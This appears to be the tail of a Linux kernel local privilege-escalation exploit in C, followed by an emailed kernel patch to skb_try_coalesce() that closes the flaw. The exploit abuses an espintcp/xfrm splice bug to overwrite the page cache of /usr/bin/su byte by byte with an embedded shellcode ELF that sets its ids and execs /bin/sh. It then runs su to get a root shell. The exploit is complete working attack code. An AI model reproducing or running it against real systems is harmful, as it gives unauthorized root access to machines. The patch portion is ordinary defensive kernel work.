draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1); /* pin the frame to rows 1-FRAME_LINES; scroll region below */ { struct winsize ws; int tr = 40; if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char current, final, need_stream; live_state[idx] = read_byte_at(target_file, off); current = live_state[idx]; draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0); if (current == desired[idx]) { printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len, (unsigned long long)off, current); skipped++; continue; } target_splice_off = (loff_t)off; need_stream = current ^ desired[idx]; choose_iv_for_stream0(need_stream); active_esp_seq++; printf(C_BCYN "[*]" C_RESET " [%zu/%zu]" " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); /* printf(C_BCYN "[*]" C_RESET " before:\n"); print_hex_row(target_file, off, "orig", current, "want", desired[idx]); printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN); { size_t k; for (k = 0; k < sizeof(active_esp_gcm_iv); k++) printf("%02x", active_esp_gcm_iv[k]); } */ printf(C_RESET " firing espintcp splice...\n"); if (run_trigger_pair() < 0) { fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx); return 2; } final = read_byte_at(target_file, off); live_state[idx] = final; /* printf(C_BCYN "[*]" C_RESET " after:\n"); print_hex_row(target_file, off, "was", current, "now", final); */ if (final == desired[idx]) { printf(C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char final = read_byte_at(target_file, off); if (final != desired[idx]) { printf(C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } } printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET "\n", desired_len, changed, skipped); if (changed == 0) { fprintf(stderr, "all requested bytes already had desired values\n"); return 2; } printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n"); return 1; } static void usage(const char *prog) { fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog); fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); } static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals home the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; }
From d260900c5c5cd8f858be0c3cc172df9b6fd11cec Mon Sep 17 00:00:00 2001 From: William Bowling <[email protected]> Date: Wed, 13 May 2026 04:16:35 +0000 Subject: [PATCH] net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors. Fixes: cef401de7be8 ("net: fix possible wrong checksum generation") Fixes: f4c50a4034e6 ("xfrm: esp: avoid in-place decrypt on shared skb frags") Signed-off-by: William Bowling <[email protected]> Reviewed-by: Eric Dumazet <[email protected]> --- net/core/skbuff.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b518..9c4e8d331d6d 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -6200,6 +6200,8 @@ bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo->frags, from_shinfo->nr_frags * sizeof(skb_frag_t)); to_shinfo->nr_frags += from_shinfo->nr_frags; + if (from_shinfo->nr_frags) + to_shinfo->flags |= from_shinfo->flags & SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo->nr_frags = 0; -- 2.54.0
thanks, sam
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